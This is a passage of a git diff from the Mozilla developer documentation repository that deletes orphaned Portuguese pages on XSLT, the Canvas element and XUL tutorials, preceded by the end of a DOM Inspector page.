Another way to inspect the DOM is to search for particular elements you're interested in by ID, class, or attribute. When you select Edit > Find Nodes... or press Ctrl + F, the DOM Inspector displays a find dialog that lets you find elements in various ways, and that gives you incremental searching by way of the <F3> shortcut key.

- -

domi-find-appcontent.png

- -

Atualizar o DOM Dinamicamente

- -

Another feature to mention in this introduction is the ability is the ability the DOM Inspector gives you to dynamically update information reflected in the DOM about web pages, user interface, and other elements. Note that when the DOM Inspector displays information about a particular node or subtree, it presents individual nodes and their values (in the DOM, attributes are subnodes of elements, typically) in an active list. You can perform actions on the individual items in this list from the context menu and the Edit menu, both of which contain menutimes that allow you edit the values of those attributes.

- -

domi-edit-search-onclick.png

- -

This interactivity allows you to shrink and grow element size, change icons, and do other layout-tweaking updates—all without actually changing the DOM as it is defined in the file on disk.

- -

Gostar do Inspetor

- -

O 'Inspetor de DOM' can take some figuring out, but once you get used to it, you may find that these structured views of web pages and interfaces were exactly the aspects of your own application development that were missing. The DOM Inspector not only presents all this information about pages in a clear and structured way, it gives you way to find and update those structures, and it's simple to access via shortcuts and menus already available in the Mozilla browser. Used in concert with Mozilla tools like Venkman, the JavaScript debugger, the DOM Inspector can give you a complete view of any web page or DOM-based application interface.

diff --git a/files/pt-pt/orphaned/tools/add-ons/index.html b/files/pt-pt/orphaned/tools/add-ons/index.html deleted file mode 100644 index c385f15d53..0000000000 --- a/files/pt-pt/orphaned/tools/add-ons/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Add-ons -slug: orphaned/Tools/Add-ons -tags: - - NeedsTranslation - - TopicStub -translation_of: Tools/Add-ons -original_slug: Tools/Add-ons ---- -
{{ToolsSidebar}}

Developer tools that are not built into Firefox, but ship as separate add-ons.

- -
-
WebSocket Monitor
-
Examine the data exchanged in a WebSocket connection.
-
 
-
diff --git a/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html b/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html deleted file mode 100644 index 4a94c23446..0000000000 --- a/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: Transformar XML com XSLT -slug: orphaned/Transformar_XML_com_XSLT -tags: - - PrecisaDeMigração - - Todas_as_Categorias - - Transformar_XML_com_XSLT - - XSLT -original_slug: Transformar_XML_com_XSLT ---- -

 

- -

Visão Geral

- -

A separação do conteúdo e apresentação é uma característica chave de um projeto do XML. A estrutura de um documento XML é projetada para refletir e esclarecer relacionamentos importantes entre os aspectos individuais do próprio conteúdo, unhindered por uma necessidade fornece qualquer indicação sobre como este dado deve eventualmente ser apresentado. Esta estruturação inteligente é particularmente importante como cada vez mais transferências de dados são automatizadas e ocorrem entre máquinas altamente heterogêneas ligadas por uma rede.

- -

Eventualmente muito do conteúdo armazenado em documentos XML precisarão ser apresentados para leitores humanos. Por isso o navegador proporciona uma interface familiar e altamente flexível, isto é um mecanismo ideal para entregar para apresentação as versões do conteúdo XML. Construído de baixo para cima utilizando uma variedade de tecnologias XML, o Mozilla incorpora nele todos os mecanismos necessários para processar todos os documentos XML originais e as folhas de estilo especializadas usadas para o estilo e disposição da exibição HTML, reduzindo o carregamento do servidor com o lado de processamento do cliente.

- -

No momento, o Gecko (a disposição do motor por trás do Mozilla e Firefox) suporta duas formas de folhas de estilo XML. Para controle básico da aparência — fontes, cores, posições, e assim por diante — Gecko usa a CSS, familiar de DHTML. Toda a CSS1 e a maior parte da CSS2 são suportados. O suporte para a CSS3 esá em desenvolvimento. Para informações adicionais sobre CSS, veja Eric Meyer's CSS pages.

- -

Nosso foco aqui é no segundo tipo de folhas de estilo que o Gecko suporta: a folha de estilo XSLT (Extensible Stylesheet Language Transformations). XSLT permite a um autor de folhas de estilo transfomrar um documento XML primário em dois caminhos significantes: manipulando e classificando o conteúdo, incluindo reordenação por atacado, se desejado assim, e transformação do conteúdo em um formato diferente (e no caso do Mozilla, o foco é na conversão disto em HTML que pode ser exibido pelo navegador.

- -

Referência XSLT/XPath

- -

Elementos

- - - -

Eixos

- - - -

Funções

- - - -

Para leitura adicional

- - - -
-

Informação Original do Documento

- -
    -
  • Informação de Copyright: Copyright © 2001-2003 Netscape. All rights reserved.
  • -
  • Nota: Este artigo reimpresso era originalmente parte do site DevEdge.
  • -
-
diff --git a/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html b/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html deleted file mode 100644 index c76450caf1..0000000000 --- a/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html +++ /dev/null @@ -1,207 +0,0 @@ ---- -title: Para leitura adicional -slug: orphaned/Transformar_XML_com_XSLT/Para_leitura_adicional -tags: - - PrecisaDeConteúdo - - Transformar_XML_com_XSLT -original_slug: Transformar_XML_com_XSLT/Para_leitura_adicional ---- -« Transforming XML with XSLT - -

Imprimir

- -

Livros

- -
-
XSLT: Programmer's Reference, Second Edition - -
-
Autor: Michael H. Kay
-
Tamanho: 992 páginas
-
Editora: Wrox; 2 edition (3 de maio de 2001)
-
ISBN: 0764543814 -
-
Michael Kay é um membro do W3C XSL Working Group e o desenvolvedor de seu próprio processador XSLT de código livre, Saxon. Ele é também o autor do único livro deste assunto a ter alcançado a segunda edição. Este é um grande livro, atraente e bem completo, às vezes completo demais em detalhes, cobrindo toda base possível sobre XSLT.
-
-
-
-
-
- -

http://www.amazon.com/XSLT-Programme.../dp/0764543814

- -

 

- -
-
XSLT - -
-
Autor: Doug Tidwell
-
Tamanho: 473 páginas
-
Editora: O'Reilly Media; 1 edition (15 de agosto de 2001)
-
ISBN: 0596000537 -
-
Doug Tidwell é um desenvolvedor sênior na IBM e um evangelista notável sobre tecnologias XML em geral. Ele é o autor de vários artigos e tutoriais em vários aspectos de XML no extenso site do desenvolvedor XML da IBM. Este livro é menos abrangente que o do Michael Kay, mas cobre todo o conteúdo básico e oferece exemplos interessantes.
-
-
-
-
-
- -

http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537

- -

 

- -
-
Learning XML, Second Edition - -
-
Autor: Erik T. Ray
-
Tamanho: 432 páginas
-
Editora: O'Reilly Media; 2 edition (22 de setembro de 2003)
-
ISBN: 0596004206 -
-
Como o título indica, esta é uma visão geral sobre XML. O capítulo 6 é voltado especificamente para XSLT.
-
-
-
-
-
- -

http://www.amazon.com/gp/product/0596004206

- -

Digital

- -

Websites

- -
-
World Wide Web Consortium - -
-
The W3C homepage: http://www.w3.org/
-
The main XSL page: http://www.w3.org/Style/XSL/
-
The version 1.0 Recommendation for XSLT: http://www.w3.org/TR/xslt
-
Archive of public style (CSS and XSLT) discussions: http://lists.w3.org/Archives/Public/www-style/
-
The version 1.0 Recommendation for XPath: http://www.w3.org/TR/xpath -
-
The World Wide Web Consortium is the body that publishes Recommendations for a number of web-based technologies, many of which become the de-facto standard.
-
-
-
-
-
- -

Artigos

- -
-
Hands-on XSL - -
-
Author: Don R. Day
-
Location: http://www-106.ibm.com/developerwork...-hands-on-xsl/
-
-
-
- -
-
Understanding XSLT - -
-
Author: Jay Greenspan
-
Location: http://hotwired.lycos.com/webmonkey/...l?tw=authoring
-
-
-
- -
-
What is XSLT? - -
-
Author: G. Ken Holman
-
Location: http://www.xml.com/pub/a/2000/08/holman/index.html
-
-
-
- -

Tutoriais/Exemplos

- -
-
Zvon - -
-
XSL Programmers: http://www.zvon.org/o_html/group_xsl.html
-
-
-
- -
-
Jeni's XSLT Pages - -
-
Index: http://www.jenitennison.com/xslt/
-
-
-
- -
-
XMLPitstop.com - -
-
StyleSheet Center: http://www.xmlpitstop.com/Default.asp?DataType=SSC
-
-
-
- -
-
XSL Tutorial - -
-
Index: http://www.nwalsh.com/docs/tutorials/xsl/
-
-
-
- -

Outros

- -
-
Cover Pages - -
-
Extensible Stylesheet Language (XSL): http://www.oasis-open.org/cover/xsl.html
-
-
-
- -
-
XSL-List - -
-
Subscribe: http://www.mulberrytech.com/xsl/xsl-list/
-
Archives: http://www.biglist.com/lists/xsl-list/archives/ -
-
The XSL-List is a very active general mailing list, hosted by Mulberry Technologies
-
-
-
-
-
- -
-
mozilla.dev.tech.xslt - -
-
Google Groups: http://groups.google.com/group/mozilla.dev.tech.xslt - -
-
This is a newsgroup that discusses Netscape-specific XSLT issues.
-
-
-
-
-
- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "fr": "fr/Transformations_XML_avec_XSLT/Autres_ressources", "pl": "pl/Transformacje_XML_z_XSLT/Przeczytaj_wi\u0119cej" } ) }}

diff --git a/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html b/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html deleted file mode 100644 index 4530fe5685..0000000000 --- a/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Formas de desenho -slug: orphaned/Tutorial_do_Canvas/Formas_de_desenho -original_slug: Tutorial_do_Canvas/Formas_de_desenho ---- -

A Grade

-

Antes de começar a desenhar, nós precisamos falar um pouco sobre o sistema de cordenadas. No início da página anterior há um template de 150x150. Eu desenhei a grade padrão. Normalmente 1 unidade na grade corresponde à 1 pixel na tela. A origem da grade está posicionada no canto superior esquerdo (cordenada (0; 0)). Todos os elementos são posicionados pela sua origem. Então a posição do canto superior esquerdo do quadrado azul está em x pixels da esquerda e y pixels de cima (cordenada (x; y)). Mais tarde neste tutorial, nós veremos como reposicionar esta origem, rodar a grade e redimensionar. Por enquanto, trabalharemos com os padróes.

-

Desenhado formas

-

Diferente do SVG, o canvas suporta apenas uma forma primitiva - retângulos. Todas as outras formas devem ser criadas combinando uma ou mais formas. Por sorte, nós temos uma coleção de funções de desenho de formas que permite a composição de forma altamente complexas.

diff --git a/files/pt-pt/orphaned/tutorial_do_canvas/index.html b/files/pt-pt/orphaned/tutorial_do_canvas/index.html deleted file mode 100644 index 39c32e7d85..0000000000 --- a/files/pt-pt/orphaned/tutorial_do_canvas/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Tutorial do Canvas -slug: orphaned/Tutorial_do_Canvas -tags: - - HTML:Canvas - - Tutoriais - - Tutorial_do_Canvas -original_slug: Tutorial_do_Canvas ---- -

O <canvas> é um elemento HTML novo que pode ser usado para desenhar gráficos através de linguagens de guião (normalmente JavaScript). Ele pode, por exemplo, ser usado para desenhar gráficos, fazer composição de fotografias ou animações (simples e não tão simples). A imagem à direita apresenta alguns exemplos de implementações de <canvas> que veremos mais adiante neste tutorial.

-

O <canvas> foi inicialmente apresentado pela Apple para o Mac OS X Dashboard e mais tarde implementado no Safari. Os navegadores baseados no Gecko 1.8, tal como o Firefox 1.5, também suportam este elemento. O elemento <canvas> faz parte das específicações WhatWG Web applications 1.0, também conhecidas como HTML 5.

-

Neste tutorial eu vou tentar descrever como implementar o elemento <canvas> nas suas páginas HTML. Os exemplos apresentados devem dar umas boas ideias sobre o que é que se pode fazer com <canvas> e podem ser usados para começar a construir outras implementações.

-

Antes de começar

-

O uso do elemento <canvas> não é muito difícil mas para isso é preciso possuir um conhecimento básico de HTML e JavaScript.

-

Como foi dito acima, o elemento <canvas> não é suportado em todos os navegadores modernos. Por consequência, para ver os exemplos será necessário usar o Firefox ou outro navegador baseado no Gecko tal como o Opera ou o Safari.

-

Neste Tutorial

- -

Ver também

- -

{{ Next("Canvas tutorial:Basic usage") }}

-

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/Canvas_tutorial", "fr": "fr/Tutoriel_canvas", "ja": "ja/Canvas_tutorial", "ko": "ko/Canvas_tutorial", "pl": "pl/Przewodnik_po_canvas", "zh-cn": "cn/Canvas_tutorial" } ) }}

diff --git "a/files/pt-pt/orphaned/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" "b/files/pt-pt/orphaned/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" deleted file mode 100644 index 4b99099039..0000000000 --- "a/files/pt-pt/orphaned/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Utilização básica -slug: orphaned/Tutorial_do_Canvas/Utilização_básica -original_slug: Tutorial_do_Canvas/Utilização_básica ---- -

O Elemento <canvas>

-

Vamos iniciar este tutorial olhando para o elemento <canvas>.

-
<canvas id="tutorial" width="150" height="150"><canvas>
-
-

Isto se parece com o elemento <img>, a única diferença é que não tem os atributos src e alt. O elemento <canvas> tem apenas dois atriburos - width e height. Estes são opcionais e podem ser mudados usando propriedades do DOM. Quando não configurados os valores de width e height, a largura será de 300 pixels e a altura será de 150 pixels. O elemento pode ser redimensionado árbitrariamente usando CSS, mas durante a renderização a imagem será redimensionada para preencher o tamanho total do elemento (Se a renderização parecer distorcida, tente mudar os valores de width e height do elemento <canvas>, e não via CSS).

-

O atributo id não é específico do elemeto <canvas>, mas é um dos atributos padrão do HTML que pode ser aplicato à (quase) todos os elementos HTML. É sempre uma boa idéia adicionar o atributo id porque fica fácil de identificar o elemento no script.

-

O elemento <canvas> pode ser estilizado como qualquer imagem normal (margem, borda, fundo, etc). estas estilizações não afetam o desenho real da imagem. Nós veremos mais adiante neste tutorial. Quando nenhuma regra é aplicada à <canvas>, ela será totalmente transparente.

-

Conteúdo alternativo

-

Por ser relativamente novo, o elemento <canvas> não foi implementado em alguns navegadores (como no IE, antes da versão 9), os precisamos definir um conteúdo alternativo para navegadores que não suportam a tag.

-

Isto é muito fácil: nós apenas adicionamos o conteúdo alternativo dentro do elemento <canvas>. Navegadores que não suportam <canvas> irão ignorar o elemento e renderizar o conteúdo interno. Navegadores que suportam <canvas> irão ignorar o conteúdo interno e renderizar o elemento normalmente.

-

Por exemplo, nós podemos adicionar uma descrição de texto do elemento ou adicionar uma imagem estática do conteúdo dinâmicamente renderizado. Parecerá assim:

-
<canvas id="grafEstoque" width="150" height="150">
-  Preço atual do estoque: $3,15 +0,15
-</canvas>
-
-<canvas id="relogio" width="150" height="150">
-  <img src="imagens/relogio.png" width="150" height="150" />
-</canvas>
-
diff --git "a/files/pt-pt/orphaned/tutorial_xul/adicionando_bot\303\265es/index.html" "b/files/pt-pt/orphaned/tutorial_xul/adicionando_bot\303\265es/index.html" deleted file mode 100644 index 8b2d6c8e5a..0000000000 --- "a/files/pt-pt/orphaned/tutorial_xul/adicionando_bot\303\265es/index.html" +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Adicionando botões -slug: orphaned/Tutorial_XUL/Adicionando_botões -tags: - - PrecisaDeRevisãoEditorial - - Todas_as_Categorias - - Tutorial_XUL - - XUL -original_slug: Tutorial_XUL/Adicionando_botões ---- -

-

-

Adicionando Botões a uma Janela

-

A janela que nós criamos não possuía nada, então ainda não é muito interessante. Nessa sessão, iremos adicionar dois botões, um botão "Find" e outro "Cancel". Iremos também aprender uma maneira simples de posicionar os botões na janela. -

Como em HTML, XUL tem uma série de tags que podem ser usadas para criar UIs. A mais básica delas é a tag {{ XULElem("button") }}. Este elemento é usado para criar botões simples. -

O elemento botão tem duas propriedades principais associadas a ele, uma label uma image. Você precisará ao menos de uma delas ou das duas para criar um botão simples. Portanto, um botão pode ter apenas uma label (texto), uma imagem ou os dois juntos. Botões são geralmente usados para comandos OK e Cancel numa caixa de diálogo, por exemplo. Vale lembrar que não haverá erro caso não seja colocado nem uma label ou uma imagem, apenas o botão ficará em branco o que não é muito comum em interfaces. -

-

Sintaxe dos Botões

-

A tag button tem a seguinte sintaxe: -

-
<button
-    id="identifier"
-    class="dialog"
-    label="OK"
-    image="images/image.jpg"
-    disabled="true"
-    accesskey="t"/>
-
-

Os atributos a seguir são todos opcionais: -

-
id 
Um identificador único para o botão. Como já dissemos em sessões anteriores, muitos elementos terão esse identificador. Você deverá usar este atributo caso deseje referenciar o botão em um CSS ou script. Entretanto, é aconselhável que você coloque o atributo id mesmo que não vá referenciar o botão em nenhum lugar. -
class 
A classe do botão. Tem o mesmo efeito do atributo "class" em HTML, usado para CSS. Neste caso, o valor dialog é usado. -
label 
O texto que irá aparecer dentro do botão. Se for deixado em branco ou não for especificado, nenhum texto irá aparecer. -
image 
A URL da imagem que aparecerá no botão. Se for deixado em branco ou não for especificado, nenhuma imagem irá aparecer. Você também pode especificar a imagem através da propriedade CSS list-style-image. -
disabled 
Se este atributo for setado como true, o botão ficará desabilitado. Se um botão está desabilitado, as funções que ele possui não poderão ser executadas. O default para esta propriedade é o botão habilitado. Você também pode trocar o estado do botão com JavaScript. -
accesskey 
Esta propriedade designa uma letra como tecla de atalho. A letra especificada geralmente sublinhada no texto do botão. Caso não haja a letra especificada como atalho no texto escrito no atributo "label", a letra aparecerá no final do texto, entre parênteses. Quando o usuário pressionar a tecla ALT (ou a tecla similar em outras plataformas) e a letra de atalho, o botão será acionado. -
-

O botão possui diversas outras propriedades que podem ser vistas no link Mais propriedades. -

-

Alguns exemplos de botões

-

"Codigo Fonte" : Visualizar -

-
Image:buttons1.png
-
<button label="Normal"/>
-<button label="Disabled" disabled="true"/>
-
-

O exemplo acima irá gerar os botões da imagem ao lado. O primeiro é um botã normal. O segundo está desabilitado, por isso aparece em tom de cinza. -

Vamos começar criando um simples botão "Find", para nosso aplicativo de encontrar arquivos. O código abaixo mostra como fazer isso. -

-
<button id="find-button" label="Find"/>
-
-
Note que o Firefox não permite a você abrir janelas chrome de páginas Web, por isso os links "Visualizar" abrem em janelas normais do browser. Por esse motivo, os botões ocuparão toda a tela. Você pode adicionar o atributo align="start" na tag window para prevenir isso.
-
-
O exemplo findfile.xul
-

Vamos adicionar o código acima ao arquivo findfile.xul criado na sessão anterior. O código precisa se inserido entre as tags window. O código a ser adicionado está exibido em vermelho, abaixo: -

-
<?xml version="1.0"?>
-<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
-<window
-    id="findfile-window"
-    title="Find Files"
-    orient="horizontal"
-     xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-
-  <button id="find-button" label="Find"/>
-  <button id="cancel-button" label="Cancel"/>
-
-</window>
-
-
Image:buttons2.png
-Você irá notar que o botão "Cancel" foi adicionado. Foi dado à janela uma orientação horizontal fazendo com que os botões apareçam um ao lado do outro. Se você abrir o arquivo no Mozilla, você deverá ter alguma coisa parecida como a imagem ao lado.
-
Note que é aconselhável não colocar as labels diretamento no arquivo XUL. Devemos usar entidades de forma que o texto seja facilmente traduzido.
-

Na próxima sessão, iremos encontrar como -

In the next section, we will find out how to adicionar labels e imagens em um arquivo XUL.

See also more button fetaures -

{{ PreviousNext("XUL Tutorial:Creating a Window", "XUL Tutorial:Adding Labels and Images") }} -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/XUL_Tutorial/Adding_Buttons", "es": "es/Tutorial_de_XUL/A\u00f1adiendo_botones", "ja": "ja/XUL_Tutorial/Adding_Buttons", "pl": "pl/Kurs_XUL/Dodawanie_przycisk\u00f3w" } ) }} diff --git a/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html b/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html deleted file mode 100644 index d312e82e58..0000000000 --- a/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Criando uma janela -slug: orphaned/Tutorial_XUL/Criando_uma_janela -tags: - - PrecisaDeAtualização - - Todas_as_Categorias - - Tutorial_XUL - - XUL -original_slug: Tutorial_XUL/Criando_uma_janela ---- -

 

- -

Criando uma aplicação XUL

- -

Uma aplicação XUL pode ter qualquer nome mas ela precisa necessariamente ter a extensão .xul. A aplicação XUL mais simples tem a seguinte estrutura:

- -
<?xml version="1.0"?>
-<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
-
-<window
-    id="findfile-window"
-    title="Find Files"
-    orient="horizontal"
-    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-<!-- Other elements go here -->
-</window>
-
- -

Esta janela não irá fazer nada já que ela não contém nenhum elemento de interação com o usuário (UI). Estes serão adicionados na próxima sessão. Abaixo segue uma explicação de cada linha do código acima:

- -
    -
  1. <?xml version="1.0"?>
    - Esta linha serve simplesmente para declarar que este é um arquivo XML. Você normalmente colocará essa linha no topo de cada arquivo XUL assim como você coloca a tag HTML em cada arquivo HTML.
  2. -
  3. <?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
    - Esta linha é usada para especificar o arquivo CSS que será usado pelo arquivo. Esta é a sintaxe que os arquivos XML usam para importar folhas de estilo. Nesse caso, importamos os CSS que se encontram na pasta global do pacote de skins. Repare que não foi designado um arquivo específico então o Mozilla irá determinar qual arquivo CSS será utilzado. Nesse caso, o arquivo global.css será selecionado. Este arquivo contém todas as declarações padrão para todos os elementos XUL. Pelo fato do XML não ter a capacidade de definir como os elementos serão exibidos, o CSS indica como fazê-lo. Geralmente, você colocará esta linha no topo de todos os arquivos XUL. Você poderá também importar um arquivo externo usando a mesma sintaxe. Note que você normalmente irá importar o CSS global de seu próprio arquivo.
  4. -
  5. <window
    - Esta linha declara que você está descrevendo um window. Cada janela de UI é descrita em um arquivo separado. Esta tag é semelhante à tag BODY do HTML, que engloba o conteúdo do arquivo. Muitos atributos podem ser colocados na tag window -- nesse caso, são quatro. Neste exemplo, cada atributo é colocado em uma linha separada, mas não é preciso seguir essa regra.
  6. -
  7. id="findfile-window"
    - O atributo id é usado como um identificador que é usado por scripts para ser rerefenciado. Normalmente é colocado um atributo id em todos os elementos. Você pode dar qualquer nome aos atributos, mas de preferência dê nomes que identifiquem para o que o atributo serve.
  8. -
  9. title="Find Files"
    - O atributo title descreve o texto que irá aparecer na barra de título da janela quando ela é exibida. Nesse caso, o texto 'Find Files' irá aparecer.
  10. -
  11. orient="horizontal"
    - O atributo orient especifica o posicionamento dos itens na janela. O valor horizontal indica que os itens devem aparecer dispostos horizontalmente na janela. Você pode também usar o valor vertical para designar que os elementos aparecerão em forma de colunas. Como este é o valor default, você pode optar por não escrever esse atributo caso deseje que os elementos aparecam na vertical.
  12. -
  13. xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
    - Esta linha declara o namespace para o XUL, que você deve colocar em uma elemento janela de forma a indicar que todos os seus 'filhos' são XUL. Note que essa URL não é exibida para você. Mozilla irá reconhecer essa URL internamente.
  14. -
  15. <!-- Other elements go here -->
    - Você pode substituir esse bloco de comentários por outros elementos (botões, menus e outros componentes de UI) que aparecerão na janela. Nós iremos adicionar alguns deles na próxima sessão.
  16. -
  17. </window>
    - E finalmente, precisamos fechar a tag window no final do arquivo.
  18. -
- -

Abrindo uma janela

- -

Para abrir uma janela XUL, existem vários métodos que podem ser usados. Se você estiver apenas na fase de desenvolvimento, você pode simplesmente escrever a URL (como um chrome:, file: or outros tipos de URL) na barra de endereços do Mozilla. Você pode também dar um duplo-clique no nome do arquivo em seu diretório, assuminfo que os arquivos XUL estão associados com o Mozilla. A janela XUL irá aparecer na janela do browser como se fosse uma nova janela, mas isso é o suficiente durante o estágio de desevolvimento.

- -

A forma correta, é claro, é abrir a janela usando javascript. Nenhuma sintaxe nova é necessária, podendo ser usada a função window.open() como se fosse uma documento HTML. Entretanto, um parâmetro adicional com o valor 'chrome' é necessário para indicar ao browser será aberto um documento chrome. Isso ira abrir a janela sem as barras de ferramenta e os menus. A sintaxe é descrita abaixo:

- -
window.open(url,windowname,flags);
-
-onde o parâmetro 'flags' recebe o valor "chrome", como no exemplo:
-
-window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300");
-
- -
-
O exemplo findfile.xul
- -

Vamos começar criando um arquivo básico para a janela 'Find File'. Crie um arquivo chamado findfile.xul e o coloque no diretório especificado no arquivo findfile.manifest (nós o criamos na sessão anterior). Adicione o exemplo mostrado anteriormente ao arquivo e salve-o.

-
- -

Você pode usar o parâmetro da linha de comando '-chrome' para especificar o arquivo XUL a ser aberto quando o Mozilla iniciar. Se não for especificado nenhum arquivo, a janela padrão será aberta. (Normalmente a janela do browser.) Por exemplo, podemos abrir a janela 'Find Files' das seguintes formas:

- -
mozilla -chrome chrome://findfile/content/findfile.xul
-
-mozilla -chrome resource:/chrome/findfile/content/findfile.xul
-
- -

Se você executar este comando a partir de uma linha de comando (assumindo que você tem uma na sua plataforma), a janela 'Find Files' irá abrir como janela padrão, ao invés da janela do browser. Por nós ainda não termos inserido nenhum elemento de interação na janela, você não verá a janela aparecendo. Iremos adicionar alguns elementos na próxima sessão.

- -

Para ver o efeito, o link a seguir irá abrir a janela de favoritos:

- -
mozilla -chrome chrome://communicator/content/bookma...rksManager.xul
-
-Se você estiver usando o Firefox, utilize o link abaixo
-firefox -chrome chrome://browser/content/bookmarks/b...rksManager.xul
-
- -

O argumento '-chrome' não dá ao arquivo nenhum privilégio adicional. Ao contrário, ele abre o arquivo especificado como uma aba, sem barra de endereço ou menus. Apenas URL chromes tem privilégios adicionais.

- -
No link Extension Developer's Extension você encontra um editor XUL que permite que você escreva códigos XUL e veja os resultados em tempo real sem o uso do Mozilla!
diff --git a/files/pt-pt/orphaned/tutorial_xul/index.html b/files/pt-pt/orphaned/tutorial_xul/index.html deleted file mode 100644 index d614b01f57..0000000000 --- a/files/pt-pt/orphaned/tutorial_xul/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Tutorial XUL -slug: orphaned/Tutorial_XUL -tags: - - Todas_as_Categorias - - Tutorial_XUL - - XUL -original_slug: Tutorial_XUL ---- -

 

- -


- Este tutorial descreve XUL, a Linguagem XML de Interface de Usuário. Esta linguagem foi criada para aplicações Mozilla e é usada para descrever sua interface de usuário.

- -

Introdução

- - - -

Elementos Simples

- - - -
-

Este tutorial de XUL foi criado originalmente por Neil Deakin. Deu-nos a permissão de usá-lo no MDC.

-
- -
-
Informações Sobre o Documento Original
- -
    -
  • Autor: Neil Deakin
  • -
  • Última Atualização: 03/06/2005
  • -
  • Informações sobre Copyright: © 1999-2005 XULPlanet.com
  • -
-
- -

Categorias

- -

Interwiki Language Links

diff --git "a/files/pt-pt/orphaned/tutorial_xul/introdu\303\247\303\243o/index.html" "b/files/pt-pt/orphaned/tutorial_xul/introdu\303\247\303\243o/index.html" deleted file mode 100644 index 9549530f6f..0000000000 --- "a/files/pt-pt/orphaned/tutorial_xul/introdu\303\247\303\243o/index.html" +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Introdução -slug: orphaned/Tutorial_XUL/Introdução -tags: - - PrecisaDeAtualização - - Todas_as_Categorias - - Tutorial_XUL - - XUL -original_slug: Tutorial_XUL/Introdução ---- -

 

- -

Este tutorial guiará você no aprendizado de XUL (XML User Interface Language), que é uma linguagem multi-plataforma para descrever interfaces (usuário) de aplicações.

- -

Este tutorial demonstrará a criação de uma interface simples de procura de arquivos, similar à provida pelo Sherlock do Macintosh ou o diálogo de procura de arquivos no Windows. Note que só será criada a interface do usuário, junto com algumas funcionalidades limitadas. A procura real por arquivos não será implementada. Uma linha azul aparecerá à esquerda de um parágrafo quando o diálogo de procura de arquivos tiver sido modificado. Você pode seguir através dessas sessões.

- -

O que é XUL e por que foi criado?

- -

XUL (pronouncia-se zúl, quase como azul - ou cool, em inglês) foi criado para tornar o desenvolvimento do navegador Mozilla mais fácil e rápido. É uma linguagem XML de modo que todas as características disponíveis para XML estão também disponíveis para XUL.

- -

A maioria das aplicações precisa ser desenvolvida usando características de uma plataforma específica, o que torna a construção de software multi-plataforma cara e demorada. Isso pode não ser importante para alguns, mas usuários podem desejar usar uma aplicação em outros dispositivos tais como computadores de mão.

- -

Um número de soluções multi-plataformas foi desenvolvido no passado. Java, por exemplo, tem portabilidade como um ponto chave. XUL é um projeto de linguagem semelhante especificamente projetado para a criação de interfaces de usuário portáteis.

- -

É levado um longo tempo para construir uma aplicação, mesmo para uma só plataforma. O tempo necessário para compilar e depurar pode ser longo. Com XUL, uma interface pode ser implementada e modificada rápida e facilmente.

- -

XUL tem todas as vantagens de outras linguagens XML. Por exemplo, XHTML ou outras linguagens XML tais como o MathML ou o SVG podem ser inseridas nela. Além disso, texto apresentado com XUL é facilmente localizável, o que significa que pode ser traduzido para outros idiomas com pouco esforço. Folhas de estilo podem ser aplicadas para modificar a aparência da interface de usuário (como os skins ou características de temas no WinAmp ou alguns gerenciadores de janelas).

- -

Que espécies de interfaces para usuário podem ser feitas com XUL?

- -

XUL provê a capacidade de criar a maioria dos elementos encontrados em interfaces gráficas modernas. É genérico o suficiente para que possa ser aplicado às necessidades especiais de certos dispositivos e poderoso o suficiente para que desenvolvedores possam criar interfaces sofisticadas com ele.

- -

Alguns elementos que podem ser criados são:

- -
    -
  • Controles de entrada tais como caixas de texto e de checagens (textboxes e checkboxes)
  • -
  • Barras de ferramentas com botões ou outros conteúdos
  • -
  • Menus em uma barra de menus or menus flutuantes (pop ups)
  • -
  • Diálogos organizados em abas
  • -
  • Árvores para informação hierárquica ou tabular
  • -
  • Atalhos de teclado
  • -
- -

O conteúdo exibido pode ser criado a partir de arquivos XUL ou com dados vindos de uma fonte de dados (datasource). No Mozilla, tais fontes de dados incluem uma caixa de correios de usuário, seus marcadores e resultados de buscas. O conteúdo de menus, árvores e outros elementos pode ser habitado com esses dados, ou com seus próprios dados supridos por um arquivo RDF.

- -

O conteúdo XUL pode ser lido de um arquivo local ou de um site remoto. Pode também ser empacotado em um instalador que o usuário copie através de download e instale. Este último método dá à aplicação privilégios adicionais, tais como leitura de arquivos locais e modificação das preferências do usuário.

- -

XUL é atualmente armazenado em arquivos com a extensão .xul. Você pode abrir um arquivo XUL com o Mozilla tanto como com qualquer outro arquivo, usando o comando Abrir Arquivo do menu Arquivo ou escrevendo a URL na barra de endereços.

- -

